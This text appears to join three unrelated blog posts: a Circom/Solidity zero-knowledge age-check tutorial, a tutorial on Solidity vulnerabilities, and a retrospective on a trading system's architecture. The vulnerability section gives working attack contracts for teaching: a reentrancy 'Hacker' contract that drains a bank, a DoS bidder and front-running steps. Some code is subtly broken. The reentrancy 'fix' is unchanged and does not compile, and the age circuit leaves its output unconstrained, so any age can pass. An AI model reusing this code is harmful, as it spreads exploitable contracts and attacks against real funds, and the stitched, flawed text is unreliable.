In this blog, we will create a simple zero knowledge application where a user can prove that he is above 18 years old without revealing his age. To achieve this we will use CIRCOM and snarkjs to create a circuit and generate a proof. Then we will create a solidity contract which will verify the proofs and store the result on chain. Finally, we will create a simple react app to interact with the contract.

You can find the complete code here.

Zero Knowledge

Zero knowledge is a way of proving that you know something without revealing what you know. For example, if you wanted to prove that you know the password to a door without revealing the password, you could do so by opening the door. Someone watching you would know that you know the password, but they would not learn what the password is. This is the basic idea behind zero knowledge proofs. You can find more examples here.

zk-SNARKs

zk-SNARKs stands for Zero-Knowledge Succinct Non-Interactive Argument of Knowledge. One popular implementation of zk-SNARKs is Zcash. It is a type of zero-knowledge proof that allows one party to prove to another that a statement is true, without revealing any information beyond the validity of the statement itself, and without any interaction between the prover and the verifier. The non-interactive nature of zk-SNARKS make it suitable for scenarios where real-time interaction is not possible. In our project, the age verification proofs will be verified on-chain, which can be later used by other users to verify the age of the user.

CIRCOM

Circom is a domain-specific language for writing arithmetic circuits for zero-knowledge proof systems. It is used to create circuits which can be used to generate proofs. In Circom circuits, we have signals which acts like inputs and outputs. We will also use the circomlib library which contains some useful circuits like comparators, hashers, etc. You can find more about the language here.

Initialising the project

Since we will be creating a smart contract at the end, we will use the hardhat framework to create the project. This will help us to compile, deploy and test the contract. So we can follow the hardhat installation guide to create the project. After setting up the project, we will install snarksjs and circomlib npm packages to create the circuit.

npm install snarksjs circomlib

After this you can create a separate directory for the zk related codes to keep things organised.

Creating the circuit

We will create a simple circuit which will take the age of the user as input and output a boolean value which will be true if the user is above 18 years old.

First we will define the signals. In our case, we will have one input signal which will be the age of the user and one output signal which will be true if the user is above 18 years old.

signal input age;
signal output out;

Now we need to compare the age with 18. For this, we will use the GreaterThan component from the circomlib library. This component takes two inputs and outputs 1 if the first input is greater than the second input. We will connect the age signal to the first input and 18 to the second input. Then we will connect the output of the GreaterThan component to the output signal. You can find more about the GreaterThan component here.

component greaterThan = GreaterThan(8); // 8 denotes number of bits
greaterThan.in[0] <== age;
greaterThan.in[1] <== 17; // 18 is considered 18+ so 17 is the limit

out <-- greaterThan.out;
out === 1;

Before using the comparator, we need to include the circomlib library that we installed with npm. So include the correct path to the library in the code. The overall circuit will look like this:

pragma circom 2.0.0;

include "../../node_modules/circomlib/circuits/comparators.circom";

template AgeAbove18() {
    signal input age;

    signal output out;

    component greaterThan = GreaterThan(8); // 8 denotes number of bits
    greaterThan.in[0] <== age;
    greaterThan.in[1] <== 17; // 18 is considered 18+ so 17 is the limit

    out <-- greaterThan.out;
    out === 1;
}

component main = AgeAbove18();

Though I have said the code returns true or false based on age, it actually always returns true, and if age is less than 18 then it gives Assert Error.

Next we will compile the circuit and export the solidity code. This process is same as mentioned in the circom documentation. You can follow the steps mentioned there to compile the circuit and export the solidity code.

Creating the solidity contract

After exporting the solidity code, we will create a solidity contract which will verify the proofs and store the result on chain. We will copy the exported solidity code to contracts directory of hardhat project and name it verifier.sol.Also, create a new contract AgeVerifier.sol which will call the verifier contract and store result. The AgeVerifier.sol contract will look like this:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IVerifier {
  function verifyProof(
    uint256[2] memory a,
    uint256[2][2] memory b,
    uint256[2] memory c,
    uint256[2] memory input
  ) external view returns (bool);
}

contract AgeVerifier {

    IVerifier public verifier;
    mapping(address => bool) public ageChecked;
    mapping(address => address) public approvedViewer;

    constructor(address _verifier) {
        verifier = IVerifier(_verifier);
    }

    function verifyProof(
        uint256[2] memory a,
        uint256[2][2] memory b,
        uint256[2] memory c,
        uint256[2] memory input
    ) external {
        require(
            verifier.verifyProof(a, b, c, input),
            "Below 18 years old"
        );
        ageChecked[msg.sender] = true;
    }

    function CheckProof(address _w) external view returns (bool) {
        require(_w == msg.sender || approvedViewer[_w] == msg.sender, "Not approved to check");
        return ageChecked[_w];
    }

    function Approve(address _w) external {
        approvedViewer[msg.sender] = _w;
    }
}

The verifyProof function is used to verify the proof and store the result on chain.

I have added a few extra features to the contract. The Approve function can be used to approve another user to check the age. The CheckProof function can be used to check if the user has verified his age or not.

Now to call the verifyProof function, we need to pass the proof as arguments. We will use the snarkjs library to generate the proof. The code to generate proof will look like this:

const { groth16 } = require('snarkjs')

const witness = {
  age: 20,
}

const { proof, publicSignals } = await groth16.fullProve(witness, wasmFilePath, finalZkeyPath, null)

Here pass the age as the witness. The wasmFilePath is the path to the circuit.wasm file which is generated when we compiled the circuit. The finalZkeyPath is the path to the final.zkey file which is generated in phase 2 of Groth16 Trusted setup. The proof and publicSignals are the outputs of the groth16.fullProve function. We will pass these two as arguments to the verifyProof function of the contract. The code to call the verifyProof function will look like this:

const transaction = verifier.verifyProof(
  [proof.pi_a[0], proof.pi_a[1]],
  [
    [proof.pi_b[0][1], proof.pi_b[0][0]],
    [proof.pi_b[1][1], proof.pi_b[1][0]],
  ],
  [proof.pi_c[0], proof.pi_c[1]],
  publicSignals,
)

Now yo can write tests in the test directory to test the contract. You can find the complete code here.

Creating the react app

Now we can create a basic react app to interact with the contract. We will take age as input and then generate the proof. We can use wagmi now to connect wallet and call the verifyProof function of the contract. This will store if the user is above 18 or not in the contract. Remember that the contract will only store the result if the user is above 18. If the user is below 18, then error will be raised at the proof generation step.

The whole react app is available in the frontend directory of the github repo.

Introduction

Smart contracts built on blockchain platforms like Ethereum have transformed various industries by enabling decentralized and trustless applications. Smart contracts are written in solidity language and deployed in the EVM blockchain, which enable self-executing agreements without the need for intermediaries, revolutionizing industries such as finance, governance, and others.

However, we know blockchain is immutable and so are smart contracts; Once they are deployed, it cannot be changed. This means that any security flaw or vulnerability within the code remains permanently exploitable.

In this article, I will go through some of the common solidity vulnerabilities in detail. We will try to recreate the vulnerabilities in the contract to understand it and also discuss how to mitigate these pitfalls.

Re-entrancy attack

Re-entrancy attack is a type of attack where the malicious contract re-enters the target contract by calling the target contract's function before the completion of its current execution.

To understabd how it is happening, let's understand it by considering contracts as persons. Imagine Person B who acts as a bank and maintain a registry for tracking the balance of other people. Now a malicious Person H deposits 100 money to B. B updates H's balance in the registry to 100. Other persons have also deposited to B and the total value depositted is 1200.

Whenever anybody withdraw money from B, he first gives the money and then update it in the registry. Now imagine H withdraws his money i.e. 100, and before it gets updated he agains withdraw it. Since the registry is not updated he agains get 100. H continues withdrawing until B has 0 balance.

This sounds absurd in real life, that a person withdraws but he can withdraw again before the registry gets updated, but in smart contract, this is possible using fallback functions. There is a function called receive() which gets called everytime some ether is transferred to a contract.

Let create a vulnerable contract Bank and try to recreate the attack.

pragma solidity ^0.8.7;

contract Bank {
    mapping (address => uint256) userBalance;

   // returns the balance of the user passed as parameter
    function getBalance(address u) public view returns(uint256){
        return userBalance[u];
    }

    // returns the balance of the contract
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    // deposit the amount passed with the call to the balance of the user
    function addToBalance() public payable{
        userBalance[msg.sender] += msg.value;
    }

    // withdraw the whole balance of the user
    function withdrawBalance() public payable  {
        (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
        userBalance[msg.sender] = 0;
    }
}

Now we will create the Attacker contract, that will drain the Bank contract using the receive fallback function

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Hacker {
    Bank bank;

    constructor(address _a) {
        bank = Bank(_a);
    }

    // returns the balance of the contract
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    // attack the bank contract
    function attack() public payable {
        require(msg.value >= 1 ether);
        bank.addToBalance{value: msg.value}();
        bank.withdrawBalance();
    }

    // fallback function which is called when the bank contract sends the ether
    receive() external payable {
        if(bank.getBalance() > 0){
            bank.withdrawBalance();
        }
    }
}

To understand the flow, first deploy the Bank contract in the testnet and deposit 1 or more ether from multiple accounts/wallets. Now deploy the Hacker contract. Pass the Bank contract's address while deploying. Call the attack() function of the Hacker contract with 1 ether value. After the call, you will notice that the balance of Bank contract will be 0 and all the ether which was in Bank is transferred to Hacker.

What is happening here is, when we call the attack() function, the Hacker contract first deposits 1 ether in the Bank contract. After that Hacker calls the Bank.withdrawBalance() function. By calling the withdrawBalance() function, the Bank transfers the userBalnce of Hacker i.e. 1 ether to Hacker.

Now in Hacker we have defined the fallback function receive() which is called when the 1 ether is transferred to the contract. In the receive() function, we are again calling the withdrawBalance().

Now understand the withdrawBalance() function flow in this case from the following snippet

function withdrawBalance() public payable  {
    (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
    // . --> receive() is called at his point after transferring and before updating the userBalance
    userBalance[msg.sender] = 0;
}

From the above snippet you can understand, that wen the receive() is being called the userBalace mapping is not yet updated. Hence again 1 ether will be transferred. This transfer will again triger the receive() and the process will go on recursively till it totally drains the Bank contract.

How to mitigate

To mitigate the reentrancy attack in the above scenario, we can just change the order of execution as follw:

function withdrawBalance() public payable  {
    (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");transferring and before updating the userBalance
    userBalance[msg.sender] = 0;
}

Now if the Hacker recursively calls the withdrawBalance() function, no ether will be transferred as the mapping is updated. So to avoid reentrancy first update the state variables and then interact with external contracts/wallets.

Another way to prevent reentrancy is by using reentrancy guard. You can use state variables and modifier to design a guard, that will lock the function untill the execution is complete. For example:

modifier nonReentrant() {
    require(!locked, "Reentrant call detected");
    locked = true;
    _;
    locked = false;
}

Also you can use Openzeppelin ReentrancyGuard instead of creating your own modifier.

Integer Overflow

Overflow occurs when we exceed the limit of any variable. For example uint8 can store value between 0 to 255, and if we try to store 256, it will store it as 0. We can try this by writing the following contract:

pragma solidity ^0.7.0;

contract Overflow {
    uint8 public val = 0;

    function add(uint8 value) external {
        val += value; // possible overflow
    }
}

Try adding 255 and check the value. It will show 255. Now if you add 1, val will become 0.

How to mitigate

The best way to avoid overflow is to upgrade solidity version to 0.8.0 or later, to get built-in protection against overflow and underflow.

Moreover you can perform check before performing a calculation like:

pragma solidity ^0.7.0;

contract Overflow {
    uint8 public val = 0;

    function add(uint8 value) external {
        require(val + value <= 255, "Overflow");
        val += value;
    }
}

Race Condition

In Ethereum or any other chain, every transaction is first added to the mempool and then a miner adds the transaction to the blockchain while mining. There is a time gap of around 10 seconds or more between this two process: sending a transaction and getting it accepted into blockchain.

To recreate the flaw, let create the following scenario:

Deploy a ERC20 token as follow:

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LOL is ERC20 {
    constructor() ERC20("LOL", "LOL") {
        _mint(msg.sender, 100000);
    }
}

Now deploy a Marketplace contract which uses the above ERC20 token buying and selling:

contract MarketPlace {
    address public owner;
    mapping(uint256 => uint256) public prices;
    mapping(uint256 => address) public holder;
    LOL lol;

    constructor(address a_){
        owner = msg.sender;
        lol = LOL(a_);
    }

    function buy(uint256 id) external {
        lol.transferFrom(msg.sender, owner, prices[id]);
        holder[id] = msg.sender;
    }

    function changeprice(uint256 id, uint256 new_price) external {
        prices[id] = new_price;
    }
}

First use changePrice(1,10) to set price of id 1 to 10. Now use two different metamask wallets, let A and B to do the attack. A will change the price and B will buy the id 1. Before performing this approve Marketplace contract for spending the ERC20 token on behalf of B, using the approve(spender,amount) function. Set the amount higher than the price to make the attack possible. To be safe always approve only the price in real scenarios.

Now call the following functions in order:

1. buy(1) from B with lower gasprice, so that it takes more time to get accepted. Remember at this point the price of id 1 is 10, so 10 should be deducted from B's wallet.
2. changePrice(1,50) from A with higher gasprice, so that it is accepted instantly.

After both the transactions are complete, you will see 50 is deducted from B wallet.

Scenario 2

There can be another scenario for this attack. Imagine you created a Quiz contract and the first one to respond with correct answer wins ether. Now a valid winner submits his answer in the mempool. A malicious miner notice that transaction, copies the values and send a transaction with the correct answer. If the miner's transaction gets added to the block, he will win the ether instead of the actual winner.

How to mitigate

We can't prevent front-run but we can follow necessary steps based on the scenario. For example in the first scenario, only approve for the amount shown as price. In the second scenario, we can use some kind of encryption to hide the answer from public.

DoS Attacks

DoS Attack occurs when a malicious hacker succeeds in creating a scenario where your contract functions always fails. For example if we consider the following Auction contract:

pragma solidity ^0.8.7;

contract Auction {
    address public curWinner;
    uint256 public curBid;

    function bid() payable external {
        uint256 value = msg.value;
        require(value > curBid);
        if (curWinner != address(0)) {
            payable(curWinner).transfer(curBid);
        }
        curWinner = msg.sender;
        curBid = value;
    }
}

Here while bidding, the function first send the value of 2nd highest bid back and then updates the curBid and curWinner. If a hacker creates a contract through which he can place a bid but any transfer back to the contract will always fail then the winner will never update and he will be winner with any bid. The hacker can achive that using the following Attacker contract:

contract Attacker{
    Auction auction;

    constructor(address a){
        auction = Auction(a);
    }

    function placeBid() payable external {
        auction.bid{value: msg.value}();
    }

    receive() external payable  {
        revert("Hacked");
    }
}

In Attacker contract, ether cannot be transferred back as the fallback function receive() will always revert it.

Another scenario includes looping over dynamic size arrays. If the array becomes too large than it will run out of gas and revert.

How to mitigate

To avoid function failure due to transfer failure, implement pull over push pattern. In this pattern, you will not send the amount while calling the bid() function but a separate function will be there so that the losing bidders can withdraw their bids.

References:

1. (Not So) Smart Contracts
2. Smart Contracts common vulnerabilities (solidity)

The project is The Trader — a microservices-based algorithmic trading system. It ingests live market data, turns it into candles, runs trading strategies against those candles, aggregates the resulting signals into a single trading decision, and (eventually) places orders through a broker. It is not finished. I ran out of the thing every side-project architect eventually runs out of — not time, not interest, but money: live market data and brokerage API access aren't free, and testing a trading system properly means running it against real feeds for real periods. I stopped before I could close that loop.

But here's the thing — the parts I built are the parts that actually teach architecture. The unfinished parts are, ironically, where the most interesting decisions live.

The shape of the system

Before diving into decisions, here's what actually exists today:

Everything from the broker socket down to "here is a trading decision, with full reasoning attached" works. Order execution and the UI are scaffolded but empty - that's the honest state of things.

Now let's talk about why it looks like this.

ADR-1: Build the ugly version first, then earn the architecture

The very first version of this project isn't a NestJS service. It's a single file — about 60 lines of raw WebSocket handling, a protobuf decoder, and an HTTP client, hardcoded to subscribe to two instruments and log whatever came back.

Decision: Don't design the "real" architecture until you've proven the riskiest unknown. For this project, the riskiest unknown wasn't "can I structure microservices well" — I already knew how to do that. It was "can I actually decode a binary protobuf market-data feed from a real broker, reliably, at tick frequency?" That's an external dependency risk, not a design risk, and no amount of clean architecture fixes it if the answer turns out to be no.

Only after the ugly script proved the feed was decodable and the message shapes were understood did I let myself write the market data service, the socket service, the database schema, and the event-bus wiring. This is a specific, deliberate instance of a broader principle I'd now call "spike first, architect second" — and it's something I actively watch for in review: engineers (myself included, historically) love to design the target architecture before they've de-risked the thing that could invalidate it entirely.

What I'd tell a junior engineer doing this today: the throwaway script isn't waste. It's the cheapest form of risk reduction available to you. The mistake is not throwing it away — which is exactly why that first script still sits in the repo as a fossil, not a dependency of anything else.

ADR-2: An event backbone (NATS), not direct service-to-service calls

Every service talks to every other service through NATS subjects — ticks.raw, candle.closed.1m, strategy.signal.generated, order.intent.created — never through direct REST calls between the trading services.

Why this mattered architecturally, not just technically: a trading pipeline is fundamentally a stream of events over time — a tick happens, a candle closes, a signal fires, a decision is made. Modeling that as a chain of synchronous HTTP calls would have coupled the availability of every downstream service to the latency of every upstream one. If order placement is slow or down, I don't want that back-pressuring into the WebSocket ingestion layer and causing me to drop live ticks — dropped ticks corrupt candles, which corrupts every decision made on top of them.

The trade-off I accepted: plain NATS pub/sub gives me at-most-once, fire-and-forget delivery. That's fine for a proof of concept, but it's the first thing I flagged as not good enough for money on the line — see the "what I'd change" section below.

ADR-3: Polyglot persistence — and where the line is drawn

Two databases, deliberately:

• InfluxDB for candles — high write volume, time-indexed, queried by range ("give me the last few hours of 1-minute candles for this instrument").

• PostgreSQL for everything with relationships and lifecycle — instruments, portfolios, positions, orders, and the audit trail.

The rule I used to decide where data lives: is this a fact about a point in time, or a fact about current state? A candle is immutable once closed — it's a historical fact, so it belongs in a time-series store built for range scans. A position mutates constantly and has to be transactionally consistent with orders — that's relational territory. Getting this split wrong (e.g., trying to force positions into a time-series store, or candles into a relational one) is a classic case of using the datastore that's familiar instead of the one that matches the access pattern.

The instrument model also encodes a decision I'm quietly proud of: keys for multiple brokers sit side by side on the same row, alongside a broker-agnostic provider interface (get feed URL, decode message) that today has exactly one implementation. This makes the goal of a migratable architecture concrete: an instrument's identity is broker-independent, and adding a broker means implementing one interface and populating one column — not touching the strategy or decision code at all.

ADR-4: I changed my mind about where "decision-making" lives

This is the decision I most want to talk about, because it only shows up if you actually read the commit history instead of just the final state of the code.

The original design had decision-making as its own standalone microservice — a separate Python process, reachable over the event bus, calling out to the historical data service over HTTP for context, running a fairly naive moving-average strategy. That original service still exists in the repo as a fossil.

By the time I got serious about strategies, I'd moved the signal generation and decision logic into the same process as the live data consumer. The standalone decision service was superseded, not deleted — because keeping it around is exactly what makes this kind of retrospective possible.

Why I reversed course, and the trade-off I accepted:

The separate-service design was "more microservice-y" on paper, but it meant every single decision required a network hop to fetch historical context, plus event-bus round-trip latency between candle-close and decision. For a system whose entire value proposition is reacting to price movement quickly, I was paying a latency tax to satisfy a service-boundary purity argument that didn't actually serve the business goal.

I moved the strategy runner and decision engine into the same service that already owns the candle stream, and replaced the network round-trip with an in-memory rolling candle cache per instrument, warm-loaded from the time-series store on first access and capped at a fixed window, with a lock to stop duplicate concurrent warm-loads for the same instrument when multiple ticks race in before the cache is populated.

This is the trade-off I'd defend in a design review: I gave up strict process isolation between "market data" and "decision-making" concerns, in exchange for eliminating network latency and an entire class of partial-failure modes (what happens to a decision if the historical-data service is down for 200ms during a fast market move?). The strategies themselves are still cleanly decoupled via a common interface — so the logical separation of concerns survived even though the physical deployment boundary didn't. That distinction — logical modularity vs. physical deployment topology — is, I think, one of the more underrated ideas in system design, and this project is where I actually internalized it rather than just quoting it from a book.

The strategy and decision layer, because this is where the actual "intelligence" lives

Once a candle closes, here's what happens, at the ADR level rather than the code level:

• Every registered strategy (currently one: an EMA crossover) independently evaluates the candle history and emits a signal — a structured object with a side (long/short/exit), a confidence score, a stop-loss/take-profit model, and diagnostic metadata (the actual indicator values that triggered it). This shape was designed to be ML-ready from day one — a numeric score field exists so a future model-based strategy slots into the exact same pipeline as the rule-based one.

• The decision logic doesn't just take the first signal it sees — it aggregates across all strategies that fired, weighting by confidence, and only converts that into an actual order intent if a configurable quorum threshold and minimum confidence are both met. Exit signals get priority over new entries. And critically, the decision also checks current position — a long signal when you're already long is a no-op, not a duplicate order; a signal in the opposite direction becomes a flip; only a signal against no position becomes a fresh entry.

This ensemble-with-quorum design was a deliberate hedge against the failure mode every algo-trading beginner hits: one over-eager strategy whipsawing the account in a choppy market. With one strategy, there's nothing to reconcile — but the aggregation layer exists because I knew a second and third strategy were coming, and I didn't want to retrofit consensus logic later. That's architecting for a known future requirement without over-building for an unknown one — the strategy interface has exactly the fields a second strategy would need, no more.

The war story: a bug that lies to you about when things happened

Every real project has one bug that's worth telling as a story rather than a bullet point. Here's mine.

The market-data feed sends prices and timestamps encoded as 64-bit integers over protobuf, which — because JavaScript doesn't have native 64-bit integers — arrive as a { high, low } pair of 32-bit signed integers that you have to reassemble yourself. The original conversion code looked reasonable at a glance:

return (value.high << 32) + value.low;

This is wrong, and it's wrong in a way that doesn't throw an error, doesn't crash anything, and doesn't even produce obviously wrong numbers most of the time — it just quietly corrupts timestamps. The shift operator in JavaScript works on 32-bit integers and wraps around; shifting a value 32 bits left when the engine only tracks 32 bits of state effectively loses the high bits entirely, sometimes returning small or negative garbage instead of a real millisecond epoch.

The fix was a one-line change — multiply instead of shift — but the lesson isn't "watch your bit shifts." It's this: a bug in the timestamp layer of a time-series pipeline doesn't announce itself as a timestamp bug. It shows up as candles that seem to have the wrong open/close prices, as strategies that seem to fire at odd moments, as data that "looks mostly right but a bit off" — the kind of bug that sends you down a rabbit hole second-guessing your strategy logic when the actual defect is two layers below, in how you're decoding wire-format integers. I only caught it by deciding to distrust the foundation before distrusting the strategy — a debugging discipline that scales far beyond this one bug: when downstream numbers look subtly wrong, check the timestamp and unit-conversion boundary before you re-derive your business logic.

The same fix also quietly corrected a second, related issue: a candle's window-start was being written to the time-series store as a raw epoch integer instead of a proper timestamp — exactly the kind of thing that works fine until you query it with a time-range filter and get nothing back.

Where I stopped, on purpose left visible

My last piece of work adds an audit table — every raw signal, the aggregated signal, and the final order intent, stored as structured JSON, indexed by instrument and decision time — and starts wiring it into the decision engine.

I'm leaving that exactly as it is in the repo, because it's the most honest artifact in the whole codebase. That's not a bug — it's a bookmark. I know exactly what the next line was going to be, and I know exactly why I wanted this table before I wanted to finish order placement: a trading system that makes a decision and can't explain it after the fact is not something you can trust with real capital, no matter how good the strategy is. The audit table exists so that later, if a position loses money, I can query "what did every strategy say, what did the aggregator decide, and why" — instead of trusting my memory or, worse, trusting the logs.

Zooming out, the commit history tells its own story about what building something real actually looks like outside of a bootcamp — long stretches of nothing, then a concentrated burst of work, repeated:

That long quiet stretch in the middle isn't laziness — it's what happens when a project depends on paid market-data access and brokerage sandbox credits, and life reallocates your budget elsewhere. I think there's a version of architect-maturity in accepting that gap without treating the project as a failure. The system's boundaries were drawn cleanly enough early on that I could pick it back up much later with almost zero re-orientation cost — that's not an accident, that's what good module boundaries buy you.

What I'd do differently, if I were reviewing this as a principal architect today

This is the part I think matters most for where I want to go next in my career — being honest about the gaps in your own design is a skill, not an admission of weakness.

• Plain pub/sub isn't enough for money-moving events. At-most-once delivery is fine for market data (a dropped tick just means a slightly less accurate candle), but the order-intent and anything touching positions or orders needs at-least-once delivery with idempotency keys, or a durable stream with explicit acknowledgement. Losing an order intent silently is not an acceptable failure mode, and I designed the happy path before I designed for message loss.

• The in-memory candle cache is a single point of amnesia. It's warm-loaded from the time-series store on first use, which is good — but if the service restarts mid-session, there's a window where strategies run on partial history until the cache re-warms. For a system making real trades, I'd want either a shared cache or an explicit "not ready" state that suppresses signal generation until warm-up is provably complete.

• Strategy configuration is still code, not data. Adding a strategy today means writing a new class and registering it in the runner's constructor. The signal shape is already designed for it, but I never built the config-driven strategy registry that would let you enable, disable, or parameterize strategies per instrument without a deploy.

• No tests, and I'm not going to pretend otherwise. This is the direct cost of the funding constraint — I couldn't justify paying for a live or sandbox feed long enough to build meaningful integration tests against real market conditions, and unit-testing strategy math in isolation felt like testing the least risky 10% of the system. If I picked this back up, contract tests around the event schemas would be my first investment, not more strategies.

• Horizontal scaling was scaffolded, not solved. A commented-out replica count in the deployment config shows I knew I'd eventually need to partition instruments across multiple live-data-consumer instances — but I never solved the actual hard problem underneath that comment: how do you shard by instrument while guaranteeing a single instrument's ticks always land on the same candle-builder, without a coordination service? That's an unsolved architecture problem I'd want to whiteboard properly, not comment out and move past.

The takeaway

I didn't finish The Trader. I'm at peace with that, and I think that peace is itself worth writing down: an unfinished system with clean, explainable boundaries and a paper trail of why each boundary is where it is, is worth more — to me, and hopefully to anyone reading this — than a finished demo where every decision was made to look good in a five-minute walkthrough. Architecture, at the level I'm aiming for, isn't measured by whether the thing shipped. It's measured by whether someone else could open the repo later, read the history, and understand exactly what you were thinking — including the sentence you left unfinished on purpose.

If you want to poke at the actual code, it's all here: github.com/somesh-banerjee/the-trader.